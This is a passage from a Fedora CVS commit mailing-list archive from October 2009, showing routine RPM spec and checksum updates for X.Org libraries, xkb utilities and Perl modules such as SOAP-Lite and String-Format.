-Source1: ftp://ftp.x.org/pub/individual/app/xkbcomp-1.1.0.tar.bz2
+Source1: ftp://ftp.x.org/pub/individual/app/xkbcomp-1.1.1.tar.bz2
 Source2: ftp://ftp.x.org/pub/individual/app/xkbevd-1.0.2.tar.bz2
 Source3: ftp://ftp.x.org/pub/individual/app/xkbprint-1.0.1.tar.bz2
 Source4: ftp://ftp.x.org/pub/individual/app/setxkbmap-1.1.0.tar.bz2
@@ -89,6 +89,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man1/xkbprint.1*
 
 %changelog
+* Wed Oct 07 2009 Adam Jackson <ajax at redhat.com> 7.4-6
+- xkbcomp 1.1.1
+
 * Mon Jul 27 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 7.4-5
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From kasal at fedoraproject.org  Wed Oct  7 17:41:54 2009
From: kasal at fedoraproject.org (=?utf-8?b?xaB0xJtww6FuIEthc2Fs?=)
Date: Wed,  7 Oct 2009 17:41:54 +0000 (UTC)
Subject: rpms/perl-String-Format/devel .cvsignore, 1.3,
	1.4 perl-String-Format.spec, 1.8, 1.9 sources, 1.3, 1.4
Message-ID: <20091007174154.7A78011C00E6@cvs1.fedora.phx.redhat.com>

Author: kasal

Update of /cvs/extras/rpms/perl-String-Format/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11524

Modified Files:
	.cvsignore perl-String-Format.spec sources 
Log Message:
- new upstream version


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/perl-String-Format/devel/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	27 Mar 2009 10:22:27 -0000	1.3
+++ .cvsignore	7 Oct 2009 17:41:54 -0000	1.4
@@ -1 +1 @@
-String-Format-1.15.tar.gz
+String-Format-1.16.tar.gz


Index: perl-String-Format.spec
===================================================================
RCS file: /cvs/extras/rpms/perl-String-Format/devel/perl-String-Format.spec,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- perl-String-Format.spec	26 Jul 2009 16:34:17 -0000	1.8
+++ perl-String-Format.spec	7 Oct 2009 17:41:54 -0000	1.9
@@ -1,6 +1,6 @@
 Name:           perl-String-Format
-Version:        1.15
-Release:        2%{?dist}
+Version:        1.16
+Release:        1%{?dist}
 Summary:        Sprintf-like string formatting capabilities with arbitrary format definitions
 
 Group:          Development/Libraries
@@ -34,7 +34,7 @@ make %{?_smp_mflags}
 rm -rf $RPM_BUILD_ROOT
 make pure_install PERL_INSTALL_ROOT=$RPM_BUILD_ROOT
 find $RPM_BUILD_ROOT -type f -name .packlist -exec rm -f {} ';'
-find $RPM_BUILD_ROOT -type d -depth -exec rmdir {} 2>/dev/null ';'
+find $RPM_BUILD_ROOT -depth -type d -empty -exec rmdir {} ';'
 chmod -R u+w $RPM_BUILD_ROOT/*
 
 
@@ -54,6 +54,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Wed Oct  7 2009 Stepan Kasal <skasal at redhat.com> - 1.16-1
+- new upstream release
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.15-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/perl-String-Format/devel/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	27 Mar 2009 10:22:27 -0000	1.3
+++ sources	7 Oct 2009 17:41:54 -0000	1.4
@@ -1 +1 @@
-f3d792bfb47c030b2783b6f7347a088b  String-Format-1.15.tar.gz
+4c4214b891648bbbf74b3ecf5c8207d8  String-Format-1.16.tar.gz



From ajax at fedoraproject.org  Wed Oct  7 17:45:31 2009
From: ajax at fedoraproject.org (Adam Jackson)
Date: Wed,  7 Oct 2009 17:45:31 +0000 (UTC)
Subject: rpms/xorg-x11-xkb-utils/F-12 sources, 1.13,
	1.14 xorg-x11-xkb-utils.spec, 1.30, 1.31
Message-ID: <20091007174531.3B33211C00E6@cvs1.fedora.phx.redhat.com>

Author: ajax

Update of /cvs/pkgs/rpms/xorg-x11-xkb-utils/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12119

Modified Files:
	sources xorg-x11-xkb-utils.spec 
Log Message:
* Wed Oct 07 2009 Adam Jackson <ajax at redhat.com> 7.4-6
- xkbcomp 1.1.1



Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-xkb-utils/F-12/sources,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- sources	8 Jul 2009 23:23:15 -0000	1.13
+++ sources	7 Oct 2009 17:45:31 -0000	1.14
@@ -3,3 +3,4 @@ b98ae2d8b21c545b7b322d0b302efefa  xkbpri
 84396a3dd75337caaae29d8fa5616fb1  xkbutils-1.0.1.tar.bz2
 362380be3b3bed56c9ce45622eafc2c9  xkbcomp-1.1.0.tar.bz2
 2f902e0a89aaf2b19e06e7f26c6efb3a  setxkbmap-1.1.0.tar.bz2
+38c387bacdc01038c8ac280588792bcf  xkbcomp-1.1.1.tar.bz2


Index: xorg-x11-xkb-utils.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-xkb-utils/F-12/xorg-x11-xkb-utils.spec,v
retrieving revision 1.30
retrieving revision 1.31
diff -u -p -r1.30 -r1.31
--- xorg-x11-xkb-utils.spec	27 Jul 2009 08:39:29 -0000	1.30
+++ xorg-x11-xkb-utils.spec	7 Oct 2009 17:45:31 -0000	1.31
@@ -1,7 +1,7 @@
 Summary: X.Org X11 xkb utilities
 Name: xorg-x11-xkb-utils
 Version: 7.4
-Release: 5%{?dist}
+Release: 6%{?dist}
 License: MIT
 Group: User Interface/X
 URL: http://www.x.org
@@ -10,7 +10,7 @@ BuildRoot: %{_tmppath}/%{name}-%{version
 # use the macro so the doc dir is changed automagically
 %define xkbutils_version 1.0.1
 Source0: ftp://ftp.x.org/pub/individual/app/xkbutils-%{xkbutils_version}.tar.bz2
-Source1: ftp://ftp.x.org/pub/individual/app/xkbcomp-1.1.0.tar.bz2
+Source1: ftp://ftp.x.org/pub/individual/app/xkbcomp-1.1.1.tar.bz2
 Source2: ftp://ftp.x.org/pub/individual/app/xkbevd-1.0.2.tar.bz2
 Source3: ftp://ftp.x.org/pub/individual/app/xkbprint-1.0.1.tar.bz2
 Source4: ftp://ftp.x.org/pub/individual/app/setxkbmap-1.1.0.tar.bz2
@@ -89,6 +89,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man1/xkbprint.1*
 
 %changelog
+* Wed Oct 07 2009 Adam Jackson <ajax at redhat.com> 7.4-6
+- xkbcomp 1.1.1
+
 * Mon Jul 27 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 7.4-5
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From ajax at fedoraproject.org  Wed Oct  7 17:56:22 2009
From: ajax at fedoraproject.org (Adam Jackson)
Date: Wed,  7 Oct 2009 17:56:22 +0000 (UTC)
Subject: rpms/libdmx/devel .cvsignore, 1.8, 1.9 libdmx.spec, 1.25,
	1.26 sources, 1.8, 1.9
Message-ID: <20091007175622.4FB4711C00E6@cvs1.fedora.phx.redhat.com>

Author: ajax

Update of /cvs/pkgs/rpms/libdmx/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13521

Modified Files:
	.cvsignore libdmx.spec sources 
Log Message:
* Wed Oct 07 2009 Adam Jackson <ajax at redhat.com> 1.1.0-1
- libdmx 1.1.0



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/libdmx/devel/.cvsignore,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- .cvsignore	28 Aug 2009 03:01:50 -0000	1.8
+++ .cvsignore	7 Oct 2009 17:56:21 -0000	1.9
@@ -1 +1 @@
-libdmx-1.0.99.1.tar.bz2
+libdmx-1.1.0.tar.bz2


Index: libdmx.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libdmx/devel/libdmx.spec,v
retrieving revision 1.25
retrieving revision 1.26
diff -u -p -r1.25 -r1.26
--- libdmx.spec	28 Aug 2009 03:01:51 -0000	1.25
+++ libdmx.spec	7 Oct 2009 17:56:22 -0000	1.26
@@ -1,6 +1,6 @@
 Summary: X.Org X11 DMX runtime library
 Name: libdmx
-Version: 1.0.99.1
+Version: 1.1.0
 Release: 1%{?dist}
 License: MIT
 Group: System Environment/Libraries
@@ -9,8 +9,7 @@ BuildRoot: %{_tmppath}/%{name}-%{version
 
 Source0: ftp://ftp.x.org/pub/individual/lib/%{name}-%{version}.tar.bz2
 
-BuildRequires: pkgconfig
-BuildRequires: libXext-devel
+BuildRequires: pkgconfig(xext)
 
 %description
 The X.Org X11 DMX (Distributed Multihead X) runtime library.
@@ -19,8 +18,6 @@ The X.Org X11 DMX (Distributed Multihead
 Summary: X.Org X11 DMX development files
 Group: Development/Libraries
 Requires: %{name} = %{version}-%{release}
-Requires: xorg-x11-proto-devel
-Requires: pkgconfig
 
 %description devel
 The X.Org X11 DMX (Distributed Multihead X) development files.
@@ -28,7 +25,6 @@ The X.Org X11 DMX (Distributed Multihead
 %prep
 %setup -q
 
-# Disable static library creation by default.
 %build
 %configure --disable-static
 make %{?_smp_mflags}
@@ -61,6 +57,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_includedir}/X11/extensions/dmxext.h
 
 %changelog
+* Wed Oct 07 2009 Adam Jackson <ajax at redhat.com> 1.1.0-1
+- libdmx 1.1.0
+
 * Fri Aug 28 2009 Peter Hutterer <peter.hutterer at redhat.com> 1.0.99.1-1
 - libdmx 1.0.99.1
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libdmx/devel/sources,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- sources	28 Aug 2009 03:01:51 -0000	1.8
+++ sources	7 Oct 2009 17:56:22 -0000	1.9
@@ -1 +1 @@
-cd8d5777a4ac53e06573c4bde178621e  libdmx-1.0.99.1.tar.bz2
+a2fcf0382837888d3781b714489a8999  libdmx-1.1.0.tar.bz2



From ajax at fedoraproject.org  Wed Oct  7 17:57:04 2009
From: ajax at fedoraproject.org (Adam Jackson)
Date: Wed,  7 Oct 2009 17:57:04 +0000 (UTC)
Subject: rpms/libdmx/F-12 libdmx.spec,1.25,1.26 sources,1.8,1.9
Message-ID: <20091007175704.DAC7211C00E6@cvs1.fedora.phx.redhat.com>

Author: ajax

Update of /cvs/pkgs/rpms/libdmx/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13664

Modified Files:
	libdmx.spec sources 
Log Message:
* Wed Oct 07 2009 Adam Jackson <ajax at redhat.com> 1.1.0-1
- libdmx 1.1.0



Index: libdmx.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libdmx/F-12/libdmx.spec,v
retrieving revision 1.25
retrieving revision 1.26
diff -u -p -r1.25 -r1.26
--- libdmx.spec	28 Aug 2009 03:01:51 -0000	1.25
+++ libdmx.spec	7 Oct 2009 17:57:04 -0000	1.26
@@ -1,6 +1,6 @@
 Summary: X.Org X11 DMX runtime library
 Name: libdmx
-Version: 1.0.99.1
+Version: 1.1.0
 Release: 1%{?dist}
 License: MIT
 Group: System Environment/Libraries
@@ -9,8 +9,7 @@ BuildRoot: %{_tmppath}/%{name}-%{version
 
 Source0: ftp://ftp.x.org/pub/individual/lib/%{name}-%{version}.tar.bz2
 
-BuildRequires: pkgconfig
-BuildRequires: libXext-devel
+BuildRequires: pkgconfig(xext)
 
 %description
 The X.Org X11 DMX (Distributed Multihead X) runtime library.
@@ -19,8 +18,6 @@ The X.Org X11 DMX (Distributed Multihead
 Summary: X.Org X11 DMX development files
 Group: Development/Libraries
 Requires: %{name} = %{version}-%{release}
-Requires: xorg-x11-proto-devel
-Requires: pkgconfig
 
 %description devel
 The X.Org X11 DMX (Distributed Multihead X) development files.
@@ -28,7 +25,6 @@ The X.Org X11 DMX (Distributed Multihead
 %prep
 %setup -q
 
-# Disable static library creation by default.
 %build
 %configure --disable-static
 make %{?_smp_mflags}
@@ -61,6 +57,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_includedir}/X11/extensions/dmxext.h
 
 %changelog
+* Wed Oct 07 2009 Adam Jackson <ajax at redhat.com> 1.1.0-1
+- libdmx 1.1.0
+
 * Fri Aug 28 2009 Peter Hutterer <peter.hutterer at redhat.com> 1.0.99.1-1
 - libdmx 1.0.99.1
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libdmx/F-12/sources,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- sources	28 Aug 2009 03:01:51 -0000	1.8
+++ sources	7 Oct 2009 17:57:04 -0000	1.9
@@ -1 +1 @@
-cd8d5777a4ac53e06573c4bde178621e  libdmx-1.0.99.1.tar.bz2
+a2fcf0382837888d3781b714489a8999  libdmx-1.1.0.tar.bz2



From ajax at fedoraproject.org  Wed Oct  7 18:01:03 2009
From: ajax at fedoraproject.org (Adam Jackson)
Date: Wed,  7 Oct 2009 18:01:03 +0000 (UTC)
Subject: rpms/libXxf86vm/devel .cvsignore, 1.8, 1.9 libXxf86vm.spec, 1.24,
	1.25 sources, 1.9, 1.10
Message-ID: <20091007180103.BBA1311C00E6@cvs1.fedora.phx.redhat.com>

Author: ajax

Update of /cvs/pkgs/rpms/libXxf86vm/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14281

Modified Files:
	.cvsignore libXxf86vm.spec sources 
Log Message:
* Wed Oct 07 2009 Adam Jackson <ajax at redhat.com> 1.1.0-1
- libXxf86vm 1.1.0



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/libXxf86vm/devel/.cvsignore,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- .cvsignore	28 Aug 2009 03:02:25 -0000	1.8
+++ .cvsignore	7 Oct 2009 18:01:03 -0000	1.9
@@ -1 +1 @@
-libXxf86vm-1.0.99.1.tar.bz2
+libXxf86vm-1.1.0.tar.bz2


Index: libXxf86vm.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libXxf86vm/devel/libXxf86vm.spec,v
retrieving revision 1.24
retrieving revision 1.25
diff -u -p -r1.24 -r1.25
--- libXxf86vm.spec	28 Aug 2009 03:02:25 -0000	1.24
+++ libXxf86vm.spec	7 Oct 2009 18:01:03 -0000	1.25
@@ -1,6 +1,6 @@
 Summary: X.Org X11 libXxf86vm runtime library
 Name: libXxf86vm
-Version: 1.0.99.1
+Version: 1.1.0
 Release: 1%{?dist}
 License: MIT
 Group: System Environment/Libraries
@@ -9,10 +9,7 @@ BuildRoot: %{_tmppath}/%{name}-%{version
 
 Source0: ftp://ftp.x.org/pub/individual/lib/%{name}-%{version}.tar.bz2
 
-BuildRequires: pkgconfig
-BuildRequires: xorg-x11-proto-devel
-BuildRequires: libX11-devel
-BuildRequires: libXext-devel
+BuildRequires: pkgconfig(xext) pkgconfig(xf86vidmodeproto)
 
 %description
 X.Org X11 libXxf86vm runtime library
@@ -28,14 +25,8 @@ X.Org X11 libXxf86vm development package
 %prep
 %setup -q
 
-# Disable static library creation by default.
-%define with_static 0
-
 %build
-%configure \
-%if ! %{with_static}
-	--disable-static
-%endif
+%configure --disable-static
 make
 
 %install
@@ -61,9 +52,6 @@ rm -rf $RPM_BUILD_ROOT
 
 %files devel
 %defattr(-,root,root,-)
-%if %{with_static}
-%{_libdir}/libXxf86vm.a
-%endif
 %{_libdir}/libXxf86vm.so
 %{_libdir}/pkgconfig/xxf86vm.pc
 #%dir %{_mandir}/man3x
@@ -71,6 +59,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_includedir}/X11/extensions/xf86vmode.h
 
 %changelog
+* Wed Oct 07 2009 Adam Jackson <ajax at redhat.com> 1.1.0-1
+- libXxf86vm 1.1.0
+
 * Fri Aug 28 2009 Peter Hutterer <peter.hutterer at redhat.com> 1.0.99.1-1
 - libXxf86vm 1.0.99.1
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libXxf86vm/devel/sources,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- sources	28 Aug 2009 03:02:26 -0000	1.9
+++ sources	7 Oct 2009 18:01:03 -0000	1.10
@@ -1 +1 @@
-18579bdfd75aed88575930288bee4da7  libXxf86vm-1.0.99.1.tar.bz2
+b431ad7084e1055fef99a9115237edd8  libXxf86vm-1.1.0.tar.bz2



From ajax at fedoraproject.org  Wed Oct  7 18:02:48 2009
From: ajax at fedoraproject.org (Adam Jackson)
Date: Wed,  7 Oct 2009 18:02:48 +0000 (UTC)
Subject: rpms/libXxf86vm/F-12 libXxf86vm.spec,1.24,1.25 sources,1.9,1.10
Message-ID: <20091007180248.7309A11C00E6@cvs1.fedora.phx.redhat.com>

Author: ajax

Update of /cvs/pkgs/rpms/libXxf86vm/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14511

Modified Files:
	libXxf86vm.spec sources 
Log Message:
* Wed Oct 07 2009 Adam Jackson <ajax at redhat.com> 1.1.0-1
- libXxf86vm 1.1.0



Index: libXxf86vm.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libXxf86vm/F-12/libXxf86vm.spec,v
retrieving revision 1.24
retrieving revision 1.25
diff -u -p -r1.24 -r1.25
--- libXxf86vm.spec	28 Aug 2009 03:02:25 -0000	1.24
+++ libXxf86vm.spec	7 Oct 2009 18:02:48 -0000	1.25
@@ -1,6 +1,6 @@
 Summary: X.Org X11 libXxf86vm runtime library
 Name: libXxf86vm
-Version: 1.0.99.1
+Version: 1.1.0
 Release: 1%{?dist}
 License: MIT
 Group: System Environment/Libraries
@@ -9,10 +9,7 @@ BuildRoot: %{_tmppath}/%{name}-%{version
 
 Source0: ftp://ftp.x.org/pub/individual/lib/%{name}-%{version}.tar.bz2
 
-BuildRequires: pkgconfig
-BuildRequires: xorg-x11-proto-devel
-BuildRequires: libX11-devel
-BuildRequires: libXext-devel
+BuildRequires: pkgconfig(xext) pkgconfig(xf86vidmodeproto)
 
 %description
 X.Org X11 libXxf86vm runtime library
@@ -28,14 +25,8 @@ X.Org X11 libXxf86vm development package
 %prep
 %setup -q
 
-# Disable static library creation by default.
-%define with_static 0
-
 %build
-%configure \
-%if ! %{with_static}
-	--disable-static
-%endif
+%configure --disable-static
 make
 
 %install
@@ -61,9 +52,6 @@ rm -rf $RPM_BUILD_ROOT
 
 %files devel
 %defattr(-,root,root,-)
-%if %{with_static}
-%{_libdir}/libXxf86vm.a
-%endif
 %{_libdir}/libXxf86vm.so
 %{_libdir}/pkgconfig/xxf86vm.pc
 #%dir %{_mandir}/man3x
@@ -71,6 +59,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_includedir}/X11/extensions/xf86vmode.h
 
 %changelog
+* Wed Oct 07 2009 Adam Jackson <ajax at redhat.com> 1.1.0-1
+- libXxf86vm 1.1.0
+
 * Fri Aug 28 2009 Peter Hutterer <peter.hutterer at redhat.com> 1.0.99.1-1
 - libXxf86vm 1.0.99.1
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libXxf86vm/F-12/sources,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- sources	28 Aug 2009 03:02:26 -0000	1.9
+++ sources	7 Oct 2009 18:02:48 -0000	1.10
@@ -1 +1 @@
-18579bdfd75aed88575930288bee4da7  libXxf86vm-1.0.99.1.tar.bz2
+b431ad7084e1055fef99a9115237edd8  libXxf86vm-1.1.0.tar.bz2



From kasal at fedoraproject.org  Wed Oct  7 18:03:56 2009
From: kasal at fedoraproject.org (=?utf-8?b?xaB0xJtww6FuIEthc2Fs?=)
Date: Wed,  7 Oct 2009 18:03:56 +0000 (UTC)
Subject: rpms/perl-SOAP-Lite/devel perl-SOAP-Lite.spec, 1.16,
	1.17 SOAP-Lite-0.710.07-nil-value.patch, 1.1, NONE
Message-ID: <20091007180356.36B3211C00E6@cvs1.fedora.phx.redhat.com>

Author: kasal

Update of /cvs/extras/rpms/perl-SOAP-Lite/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14915

Modified Files:
	perl-SOAP-Lite.spec 
Removed Files:
	SOAP-Lite-0.710.07-nil-value.patch 
Log Message:
- new upstream release
- drop upstreamed patch
- add missing build requires
- use %filter-* macros


Index: perl-SOAP-Lite.spec
===================================================================
RCS file: /cvs/extras/rpms/perl-SOAP-Lite/devel/perl-SOAP-Lite.spec,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- perl-SOAP-Lite.spec	26 Jul 2009 16:23:34 -0000	1.16
+++ perl-SOAP-Lite.spec	7 Oct 2009 18:03:56 -0000	1.17
@@ -1,13 +1,11 @@
 Name: 		perl-SOAP-Lite
-Version:	0.710.08
-Release:	4%{?dist}
+Version:	0.710.10
+Release:	1%{?dist}
 Summary:	Client and server side SOAP implementation
 License:	GPL+ or Artistic
 Group:		Development/Libraries
 URL: 		http://search.cpan.org/dist/SOAP-Lite/
-Source0: 	http://search.cpan.org/CPAN/authors/id/B/BY/BYRNE/SOAP/SOAP-Lite-%{version}.tar.gz
-# Submitted upstream: http://rt.cpan.org/Public/Bug/Display.html?id=20569
-Patch0:		SOAP-Lite-0.710.07-nil-value.patch
+Source0: 	http://search.cpan.org/CPAN/authors/id/M/MK/MKUTTER/SOAP-Lite-%{version}.tar.gz
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 Requires:  	perl(:MODULE_COMPAT_%(eval "`%{__perl} -V:version`"; echo $version))
@@ -16,23 +14,22 @@ BuildRequires:  perl(ExtUtils::MakeMaker
 BuildRequires:  perl(Test::MockObject)
 BuildRequires:  perl(Test::Pod)
 BuildRequires:  perl(Test::Pod::Coverage)
+BuildRequires:  perl(Task::Weaken)
 BuildRequires:  perl(MIME::Parser)
+BuildRequires:  perl(Crypt::SSLeay)
+BuildRequires:  perl(IO::Socket::SSL)
+BuildRequires:  perl(MIME::Lite)
+BuildRequires:  perl(Apache)
+BuildRequires:  perl(FCGI)
+BuildRequires:  perl(Net::Jabber)
 BuildArch: 	noarch
 
-%define bogusreqs 'perl(MQClient::MQSeries)\
-perl(MQSeries)\
-perl(MQSeries::Message)\
-perl(MQSeries::Queue)\
-perl(MQSeries::QueueManager)\
-perl(Net::Jabber)\
-perl(Net::FTP)\
-perl(Net::POP3)'
-%global reqfilt sh -c "%{__perl_requires} | %{__grep} -Fv %{bogusreqs}"
-%define __perl_requires %{reqfilt}
-
-%define bogusprovs 'perl(LWP::Protocol)'
-%global provfilt sh -c "%{__perl_provides} | %{__grep} -Fv %{bogusprovs}"
-%define __perl_provides %{provfilt}
+
+%{?filter_setup:
+%filter_from_requires /perl(\(MQ\|Net::\)/d
+%filter_from_provides /perl(LWP::Protocol)/d
+%?perl_default_filter
+}
 
 %description
 SOAP::Lite is a collection of Perl modules which provides a simple and
@@ -41,7 +38,6 @@ client and server side.
 
 %prep
 %setup -q -n SOAP-Lite-%{version}
-%patch0 -p1 -b .nil-value
 
 %build
 %{__perl} Makefile.PL --noprompt INSTALLDIRS=vendor
@@ -70,13 +66,18 @@ make test
 %{perl_vendorlib}/Apache
 %{perl_vendorlib}/IO
 %{perl_vendorlib}/UDDI
-%{perl_vendorlib}/OldDocs
 %{perl_vendorlib}/XML
 %{perl_vendorlib}/XMLRPC
 %{_mandir}/man3/*
 %{_mandir}/man1/*
 
 %changelog
+* Wed Oct  7 2009 Stepan Kasal <skasal at redhat.com> - 0.710.10-1
+- new upstream release
+- drop upstreamed patch
+- add missing build requires
+- use %%filter-* macros
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.710.08-4
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


--- SOAP-Lite-0.710.07-nil-value.patch DELETED ---



From kasal at fedoraproject.org  Wed Oct  7 18:04:45 2009
From: kasal at fedoraproject.org (=?utf-8?b?xaB0xJtww6FuIEthc2Fs?=)
Date: Wed,  7 Oct 2009 18:04:45 +0000 (UTC)
Subject: rpms/perl-SOAP-Lite/devel .cvsignore,1.6,1.7 sources,1.6,1.7
Message-ID: <20091007180445.49CC011C00E6@cvs1.fedora.phx.redhat.com>

Author: kasal

Update of /cvs/extras/rpms/perl-SOAP-Lite/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15039

Modified Files:
	.cvsignore sources 
Log Message:
- new upstream version


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/perl-SOAP-Lite/devel/.cvsignore,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- .cvsignore	11 Dec 2008 15:38:59 -0000	1.6
+++ .cvsignore	7 Oct 2009 18:04:45 -0000	1.7
@@ -1 +1 @@
-SOAP-Lite-0.710.08.tar.gz
+SOAP-Lite-0.710.10.tar.gz


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/perl-SOAP-Lite/devel/sources,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- sources	11 Dec 2008 15:38:59 -0000	1.6
+++ sources	7 Oct 2009 18:04:45 -0000	1.7
@@ -1 +1 @@
-e7869ad91fee76cc1782fe29fe3a989d  SOAP-Lite-0.710.08.tar.gz
+45d6679daac03fe4eb604a5b5f416fd5  SOAP-Lite-0.710.10.tar.gz



From ajax at fedoraproject.org  Wed Oct  7 18:11:40 2009
From: ajax at fedoraproject.org (Adam Jackson)
Date: Wed,  7 Oct 2009 18:11:40 +0000 (UTC)
Subject: rpms/libXdamage/devel libXdamage.spec,1.25,1.26
Message-ID: <20091007181140.ABA1A11C00E6@cvs1.fedora.phx.redhat.com>

Author: ajax

Update of /cvs/pkgs/rpms/libXdamage/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15787

Modified Files:
	libXdamage.spec 
Log Message:
* Wed Oct 07 2009 Adam Jackson <ajax at redhat.com> 1.1.2-1
- libXdamage 1.1.2



Index: libXdamage.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libXdamage/devel/libXdamage.spec,v
retrieving revision 1.25
retrieving revision 1.26
diff -u -p -r1.25 -r1.26
--- libXdamage.spec	14 Aug 2009 06:52:01 -0000	1.25
+++ libXdamage.spec	7 Oct 2009 18:11:40 -0000	1.26
@@ -1,7 +1,7 @@
 Summary: X Damage extension library
 Name: libXdamage
-Version: 1.1.1
-Release: 9%{?dist}
+Version: 1.1.2
+Release: 1%{?dist}
 License: MIT
 Group: System Environment/Libraries
 URL: http://www.x.org
@@ -9,10 +9,8 @@ BuildRoot: %{_tmppath}/%{name}-%{version
 
 Source0: ftp://ftp.x.org/pub/individual/lib/%{name}-%{version}.tar.bz2
 
-BuildRequires: pkgconfig
-BuildRequires: libX11-devel
+BuildRequires: pkgconfig(xfixes)
 BuildRequires: pkgconfig(damageproto) >= 1.1.0
-BuildRequires: libXfixes-devel
 
 %description
 X.Org X11 libXdamage runtime library
@@ -21,7 +19,6 @@ X.Org X11 libXdamage runtime library
 Summary: Development files for %{name}
 Group: Development/Libraries
 Requires: %{name} = %{version}-%{release}
-Requires: pkgconfig
 
 %description devel
 X.Org X11 libXdamage development package
@@ -60,6 +57,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/pkgconfig/xdamage.pc
 
 %changelog
+* Wed Oct 07 2009 Adam Jackson <ajax at redhat.com> 1.1.2-1
+- libXdamage 1.1.2
+
 * Thu Aug 13 2009 Parag <paragn at fedoraproject.org> 1.1.1-9
 - Merge-review cleanups #226067
 



From ajax at fedoraproject.org  Wed Oct  7 18:11:52 2009
From: ajax at fedoraproject.org (Adam Jackson)
Date: Wed,  7 Oct 2009 18:11:52 +0000 (UTC)
Subject: rpms/libXdamage/F-12 libXdamage.spec,1.25,1.26
Message-ID: <20091007181152.636CD11C00E6@cvs1.fedora.phx.redhat.com>

Author: ajax

Update of /cvs/pkgs/rpms/libXdamage/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15934

Modified Files:
	libXdamage.spec 
Log Message:
* Wed Oct 07 2009 Adam Jackson <ajax at redhat.com> 1.1.2-1
- libXdamage 1.1.2



Index: libXdamage.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libXdamage/F-12/libXdamage.spec,v
retrieving revision 1.25
retrieving revision 1.26
diff -u -p -r1.25 -r1.26
--- libXdamage.spec	14 Aug 2009 06:52:01 -0000	1.25
+++ libXdamage.spec	7 Oct 2009 18:11:52 -0000	1.26
@@ -1,7 +1,7 @@
 Summary: X Damage extension library
 Name: libXdamage
-Version: 1.1.1
-Release: 9%{?dist}
+Version: 1.1.2
+Release: 1%{?dist}
 License: MIT
 Group: System Environment/Libraries
 URL: http://www.x.org
@@ -9,10 +9,8 @@ BuildRoot: %{_tmppath}/%{name}-%{version
 
 Source0: ftp://ftp.x.org/pub/individual/lib/%{name}-%{version}.tar.bz2
 
-BuildRequires: pkgconfig
-BuildRequires: libX11-devel
+BuildRequires: pkgconfig(xfixes)
 BuildRequires: pkgconfig(damageproto) >= 1.1.0
-BuildRequires: libXfixes-devel
 
 %description
 X.Org X11 libXdamage runtime library
@@ -21,7 +19,6 @@ X.Org X11 libXdamage runtime library
 Summary: Development files for %{name}
 Group: Development/Libraries
 Requires: %{name} = %{version}-%{release}
-Requires: pkgconfig
 
 %description devel
 X.Org X11 libXdamage development package
